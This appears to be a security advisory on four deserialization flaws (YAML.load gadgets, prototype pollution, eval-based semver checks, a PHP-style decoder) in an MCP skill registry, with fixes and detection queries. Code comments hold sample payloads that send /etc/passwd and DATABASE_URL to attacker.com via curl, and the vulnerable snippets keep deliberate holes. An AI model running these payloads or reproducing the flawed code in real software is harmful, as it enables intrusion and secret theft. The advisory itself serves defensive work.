Claude MCP skill insecure deserialization — skill version pinning and dependency lock resolution
SA-SKL-DESER18 documents four insecure deserialization vulnerabilities in MCP skill registry skill version pinning and dependency lock resolution. YAML.load on a Redis-cached pin manifest enables parse-time remote code execution via !!js/function gadgets, spreading a user-supplied package-lock.json enables prototype pollution affecting all subsequent version lookups, an eval-based semver range check enables command injection, and a PHP-serialize-style advisory decoder enables an IIFE gadget chain RCE.
YAML.load; !!js/function gadget in version constraints achieves parse-time RCE during pin resolution
JSON.parse and spread into dependency tree; __proto__.__defineGetter__ entry achieves prototype pollution affecting all subsequent version lookups
eval(userRange.replace(...)); attacker injects process.env exfiltration payload via crafted semver range string
DESER18-001 (Critical): YAML.load on Redis-cached pin manifest enables parse-time RCE
MCP skill registry version pinning systems often cache pin manifests — files specifying exact version constraints for each skill dependency — in Redis for fast resolution during skill invocation. When the manifest retrieval and parsing code uses YAML.load() (the full YAML parser from the js-yaml library) instead of the safe variant, any YAML stored in Redis that contains a !!js/function tag will execute arbitrary JavaScript at parse time. If an attacker can write to Redis — through a previous SSRF, through a compromised dependency that writes cached data, or through a supply chain attack on the manifest — they can inject a malicious YAML document that executes code when any consumer parses the cache entry.
The attack does not require the attacker to control the web request that triggers parsing; it only requires a one-time write to the Redis key that stores the pin manifest. All subsequent pin resolution calls that hit the cache will trigger the payload. In a multi-tenant MCP registry where many users' skill invocations share a common dependency resolution service, a single Redis write achieves arbitrary code execution on behalf of all tenants resolving that pinned dependency. The payload persists until the cache entry expires or is explicitly invalidated.
// VULNERABLE — YAML.load on pin manifest from Redis; !!js/function achieves parse-time RCE
// File: services/versionPin.js
const yaml = require('js-yaml');
const redis = require('../lib/redis');
async function resolvePinManifest(skillId) {
const raw = await redis.get(`pin:manifest:${skillId}`);
if (!raw) return null;
// VULNERABILITY: YAML.load executes !!js/function tags at parse time
// Attacker-controlled Redis entry: "version: !!js/function 'function(){require(\"child_process\").exec(\"curl attacker.com/$(cat /etc/passwd|base64)\")}'()"
const manifest = yaml.load(raw);
return manifest;
}
Fix: Replace yaml.load() with yaml.load(raw, {schema: yaml.FAILSAFE_SCHEMA}) or use yaml.safeLoad() (deprecated but still safe) to prevent execution of type constructors. Even better: store pin manifests as JSON, not YAML — JSON parsers have no concept of type constructors and are immune to this class of attack. If YAML is required for human-editable manifests, parse at ingest time (before writing to Redis) with the safe schema, and store only the parsed-and-validated JSON representation in the cache.
// FIXED — YAML parsed with FAILSAFE_SCHEMA; manifests stored as JSON in Redis
// File: services/versionPin.js
const yaml = require('js-yaml');
const { z } = require('zod');
const redis = require('../lib/redis');
const PinManifestSchema = z.object({
skillId: z.string(),
constraints: z.record(z.string()), // { "dep-name": "^1.2.3" }
pinnedAt: z.string().datetime(),
});
async function resolvePinManifest(skillId) {
const raw = await redis.get(`pin:manifest:${skillId}`);
if (!raw) return null;
// JSON only — no YAML type constructors possible
const parsed = JSON.parse(raw);
// Zod validation rejects unexpected keys and type mismatches
return PinManifestSchema.parse(parsed);
}
// At ingest time: parse YAML with safe schema, validate, store as JSON
async function storePinManifest(skillId, yamlSource) {
// FAILSAFE_SCHEMA: only strings, sequences, mappings — no !!js/function
const parsed = yaml.load(yamlSource, { schema: yaml.FAILSAFE_SCHEMA });
const validated = PinManifestSchema.parse(parsed);
await redis.setex(`pin:manifest:${skillId}`, 3600, JSON.stringify(validated));
return validated;
}
DESER18-002 (High): Prototype pollution via package-lock.json spread into dependency tree
When MCP skill registries process user-supplied lock files to resolve dependency versions, the parsed JSON is frequently spread or merged into an internal dependency tree data structure. If the lock file is parsed with a standard JSON.parse() call and the resulting object is spread without filtering special prototype keys, an attacker can include a __proto__ key in the JSON that mutates Object.prototype for all subsequent JavaScript objects in the process. A __proto__.__defineGetter__ entry in the lock file installs a property getter on the global prototype, causing all subsequent property accesses on any object in the runtime to invoke the attacker's function.
The practical impact on a dependency resolution service is comprehensive: all version comparison results become attacker-controlled, all security checks that read from plain objects (such as if (dep.safe) or if (config.allowPrerelease)) can be overridden to return attacker-specified values, and downstream code that trusts the dependency tree data structure makes decisions based on poisoned data. Because prototype pollution is a process-wide effect, it persists for the lifetime of the Node.js process — affecting all subsequent requests handled by that worker, not just the one that supplied the malicious lock file.
// VULNERABLE — package-lock.json spread without __proto__ filtering
// File: services/dependencyResolver.js
async function buildDependencyTree(lockfileContent) {
// JSON.parse does not strip __proto__ keys; spread propagates pollution
const lockData = JSON.parse(lockfileContent);
// VULNERABILITY: if lockData contains {"__proto__": {"defineGetter__": ...}}
// spreading into depTree pollutes Object.prototype for entire process
const depTree = {
...lockData.dependencies, // __proto__ key spreads into Object.prototype
resolved: true,
generatedAt: Date.now(),
};
return depTree;
}
Fix: Use a JSON.parse reviver function that explicitly drops __proto__, constructor, and prototype keys before they enter the object graph. Alternatively, use Object.create(null) to create prototype-free objects for dependency data, or validate the parsed lock file with a Zod schema that uses z.record(z.string(), DependencyEntrySchema) — Zod's safe object construction prevents prototype key propagation. Never spread unvalidated external JSON directly into objects that internal logic trusts.
// FIXED — JSON parsed with reviver that drops prototype keys; Zod schema validation
// File: services/dependencyResolver.js
const { z } = require('zod');
const DependencyEntrySchema = z.object({
version: z.string(),
resolved: z.string().url(),
integrity: z.string(),
requires: z.record(z.string()).optional(),
});
const LockfileSchema = z.object({
lockfileVersion: z.number(),
dependencies: z.record(z.string(), DependencyEntrySchema),
});
// Reviver drops __proto__, constructor, prototype keys before they enter the object
function safeReviver(key, value) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
return undefined;
}
return value;
}
async function buildDependencyTree(lockfileContent) {
const rawParsed = JSON.parse(lockfileContent, safeReviver);
// Zod validates structure and types — no spreading unvalidated external data
const lockData = LockfileSchema.parse(rawParsed);
return {
dependencies: lockData.dependencies, // typed, validated entries only
resolved: true,
generatedAt: Date.now(),
};
}
DESER18-003 (Critical): eval-based semver range check enables command injection via crafted range string
Some MCP skill registry implementations evaluate semver range expressions by constructing a JavaScript expression string from the user-supplied range and passing it to eval(). The pattern typically involves a string replacement that attempts to transform semver syntax (^1.2.3, >=2.0.0) into JavaScript comparison expressions. When the sanitisation is incomplete — using simple regex substitution rather than a proper parser — an attacker can inject arbitrary JavaScript by embedding it in a semver range string that passes the basic format checks but contains executable code after the substitution is applied.
The vector is any API endpoint that accepts a semver range from user input and passes it through the eval-based resolver. Typical surfaces include: skill installation requests that specify a version range (POST /api/skills/install?version=^1.0.0), version compatibility checks in MCP tool manifests, and dependency resolution endpoints that accept pinning constraints. The injected payload executes in the Node.js runtime with full process permissions — enabling environment variable exfiltration, file system reads, outbound network connections to attacker infrastructure, and lateral movement to internal services accessible from the registry host.
// VULNERABLE — semver range checked via eval(); attacker injects arbitrary JS
// File: services/semverCheck.js
function satisfiesRange(version, userRange) {
// VULNERABILITY: eval executes arbitrary JS embedded in userRange after replacement
// Attacker range: "^1.0.0 || (process.mainModule.require('child_process').execSync('curl attacker.com/'+Buffer.from(process.env.DATABASE_URL).toString('base64'))&&false)"
const expr = userRange
.replace(/\^(\d+\.\d+\.\d+)/g, `semverGte('${version}','$1')&&semverLt('${version}',nextMajor('$1'))`)
.replace(/>=(\d+\.\d+\.\d+)/g, `semverGte('${version}','$1')`)
.replace(/<=(\d+\.\d+\.\d+)/g, `semverLte('${version}','$1')`);
// eval executes the expression — attacker payload embedded after replacements
return eval(expr);
}
Fix: Replace the eval-based implementation entirely with the battle-tested semver npm package (semver.satisfies(version, range)). The semver library parses range expressions using a proper grammar that rejects non-semver input without executing it. Never construct executable strings from user input — even with sanitisation, the attack surface for injection via string manipulation is prohibitively large. The semver package is a zero-configuration drop-in that eliminates the entire class of eval injection vulnerabilities in version range evaluation.
// FIXED — semver range checked via semver.satisfies(); no eval, no injection surface
// File: services/semverCheck.js
const semver = require('semver');
function satisfiesRange(version, userRange) {
// Validate that the range is a syntactically valid semver range before evaluation
if (!semver.validRange(userRange)) {
throw new Error(`Invalid semver range: ${userRange}`);
}
// semver.satisfies uses a proper parser — no eval, no injection surface
return semver.satisfies(version, userRange);
}
// Usage in dependency resolver:
function checkVersionCompatibility(installedVersion, requiredRange) {
try {
return satisfiesRange(installedVersion, requiredRange);
} catch (err) {
// Invalid range from user input — reject cleanly, do not fall back to eval
return false;
}
}
DESER18-004 (Critical): PHP-serialize-style advisory codec enables IIFE gadget chain RCE
Some MCP skill registries store vulnerability advisory data in Redis using a serialisation format borrowed from PHP's serialize() output — a text-based format that encodes objects with type tags and length-prefixed values. When a custom JavaScript deserialiser processes this format, it necessarily evaluates type-tagged object constructors during the decode phase. If an attacker can write a crafted advisory entry to Redis (via SSRF to the Redis port, through a compromised advisory data source, or through a supply chain injection in the advisory pipeline), they can embed an immediately-invoked function expression (IIFE) in a type-tagged object within the serialised advisory. The deserialiser's constructor invocation machinery evaluates the IIFE, achieving arbitrary code execution at decode time.
Advisory data is a particularly high-value injection point for this attack because it is typically consumed by background jobs that process all advisories in bulk — meaning a single malicious Redis entry triggers execution on every advisory-processing worker that reads it, and continues doing so until the entry is removed. Background jobs commonly run with elevated permissions (database write access, file system access, outbound network access) compared to web-facing workers, making this an attractive path for privilege escalation within the registry infrastructure.
// VULNERABLE — advisory decoded using PHP-serialize-style codec; IIFE gadget chain
// File: services/advisoryDecoder.js
// Custom PHP-serialize-style decoder that evaluates type constructors
function phpDeserialize(str) {
// ... type-dispatch logic that evaluates O: (Object) and C: (Custom class) tags
// VULNERABILITY: attacker advisory in Redis:
// a:1:{s:4:"cve";O:4:"IIFE":1:{s:4:"code";s:60:"(function(){require('child_process').exec('id > /tmp/pwned')})()"}}
// The O: handler evaluates the code property as constructor argument, triggering IIFE
return dispatchDeserialize(str);
}
async function fetchAdvisory(cveId) {
const raw = await redis.get(`advisory:${cveId}`);
if (!raw) return null;
return phpDeserialize(raw); // executes attacker payload during decode
}
Fix: Never use PHP-serialize-style codecs or any format that invokes constructors during deserialisation. Store advisory data exclusively as JSON — JSON.stringify / JSON.parse never invoke arbitrary constructors. If migrating from an existing PHP-serialize format, write a one-time migration script that reads existing entries, decodes them in a sandboxed environment, and rewrites them as JSON. After migration, remove the PHP-serialize decoder from the codebase entirely. Validate decoded advisory JSON with a Zod schema before passing it to business logic.
// FIXED — advisory stored and retrieved as JSON only; Zod validation
// File: services/advisoryDecoder.js
const { z } = require('zod');
const AdvisorySchema = z.object({
cveId: z.string().regex(/^CVE-\d{4}-\d{4,}$/),
severity: z.enum(['low', 'medium', 'high', 'critical']),
affectedPackages: z.array(z.object({
name: z.string(),
versionRange: z.string(),
patched: z.string().optional(),
})),
publishedAt: z.string().datetime(),
summary: z.string().max(2000),
});
async function fetchAdvisory(cveId) {
const raw = await redis.get(`advisory:${cveId}`);
if (!raw) return null;
// JSON.parse — no constructor invocation possible
const parsed = JSON.parse(raw);
// Zod validates structure; unknown keys stripped by .strict()
return AdvisorySchema.strict().parse(parsed);
}
async function storeAdvisory(advisory) {
const validated = AdvisorySchema.parse(advisory);
// Store only validated JSON — no PHP-serialize codec
await redis.setex(`advisory:${validated.cveId}`, 86400, JSON.stringify(validated));
}
Compound attack chain: Redis write to multi-tenant RCE via version resolution pipeline
These four deserialization vulnerabilities compose a chain in which an attacker with a single write capability to the registry's Redis instance achieves code execution affecting all tenants in the dependency resolution pipeline.
Phase 1 — Initial access via DESER18-003. An attacker submits a malicious skill package with a crafted semver range in its dependency manifest. The eval-based semver checker executes the payload during dependency compatibility validation, achieving initial code execution on the resolver worker. The payload establishes a callback to attacker infrastructure and writes a malicious payload to the Redis key space.
Phase 2 — Persistence via DESER18-001 (advisory) and DESER18-004. The initial payload writes a crafted YAML pin manifest to pin:manifest:* keys and a crafted PHP-serialize advisory to advisory:* keys. All subsequent pin resolution requests and advisory processing jobs trigger the payload on parse — establishing persistent multi-process RCE that survives the initial worker restart.
Phase 3 — Privilege escalation via DESER18-002. With code execution on the resolver workers, the attacker injects a prototype-polluting dependency tree entry. Because prototype pollution is process-wide, all subsequent security checks that read from plain objects — including plan entitlement checks, permission guards, and audit ownership verifications — become attacker-controlled, enabling full account and permission boundary bypass.
Chain severity: The chain achieves persistent multi-tenant RCE from a single write to the Redis cache layer. The root cause in all four cases is the same: trusting data from an external store (Redis) as safe to deserialise with a code-executing codec. The fix is uniform: JSON for all cached data, schema validation on all deserialized objects, no eval in version comparison logic. The semver library replaces the highest-risk eval pattern at zero cost.
Detection with tree-sitter queries
Query 1 — yaml.load() without safe schema. Matches yaml.load( call expressions where the second argument (options) is absent or does not specify schema: yaml.FAILSAFE_SCHEMA. Every match is a potential DESER18-001 instance.
; tree-sitter query: yaml.load() without safe schema (DESER18-001)
; Matches: yaml.load(str) and yaml.load(str, {}) without FAILSAFE_SCHEMA
(call_expression
function: (member_expression
object: (identifier) @yaml (#eq? @yaml "yaml")
property: (property_identifier) @method (#eq? @method "load")
)
arguments: (arguments . (identifier) @input .)
) @finding-no-options
; Also match two-arg form where options object lacks schema property
(call_expression
function: (member_expression
object: (identifier) @yaml2 (#eq? @yaml2 "yaml")
property: (property_identifier) @method2 (#eq? @method2 "load")
)
arguments: (arguments
(_) @input2
(object) @options
(#not-match? @options "FAILSAFE_SCHEMA")
)
) @finding-unsafe-options
; Fix: add { schema: yaml.FAILSAFE_SCHEMA } to all yaml.load() calls
; reading from external sources (Redis, user uploads, network).
Query 2 — eval() in version/semver context. Matches eval( call expressions inside functions whose name contains semver, version, range, or satisfies. This is the structural signature of DESER18-003.
; tree-sitter query: eval() used in version/semver checking function (DESER18-003)
(function_declaration
name: (identifier) @fn-name
(#match? @fn-name "(semver|version|range|satisfies|compat)")
body: (statement_block
(return_statement
(call_expression
function: (identifier) @eval (#eq? @eval "eval")
)
)
)
) @eval-in-semver
; Replace with: semver.satisfies(version, range) from the 'semver' npm package.
; semver package uses a proper grammar parser — zero injection surface.
Summary
| ID | Severity | Surface | Root cause | Fix |
|---|---|---|---|---|
| DESER18-001 | Critical | Redis pin manifest cache / YAML deserialisation | yaml.load() without safe schema executes !!js/function gadgets at parse time |
Use FAILSAFE_SCHEMA at ingest; store manifests as JSON in Redis |
| DESER18-002 | High | package-lock.json processing / dependency tree construction | JSON.parse + object spread propagates __proto__ keys to Object.prototype |
Reviver that drops __proto__/constructor/prototype; Zod schema validation |
| DESER18-003 | Critical | Semver range evaluation / version compatibility check | eval(userRange.replace(...)) executes embedded JS after regex substitution |
Replace with semver.satisfies(version, range) from the semver npm package |
| DESER18-004 | Critical | Redis advisory cache / PHP-serialize-style decoder | Custom PHP-serialize codec evaluates IIFE gadget chains embedded in advisory data | JSON only for all cached data; Zod schema validation; remove PHP-serialize codec |
Checklist for MCP skill registry operators: (1) Grep codebase for yaml.load( without FAILSAFE_SCHEMA — replace with safe schema or convert storage to JSON. (2) Audit all JSON.parse calls followed by object spread — add __proto__-dropping reviver. (3) Search for eval( in any version, semver, or range function — replace with semver.satisfies(). (4) Inventory all Redis codec patterns — any non-JSON deserialisation format is suspect; migrate to JSON + Zod. (5) Apply these checks in CI using the tree-sitter queries above to prevent regressions across the full SA-SKL-DESER series.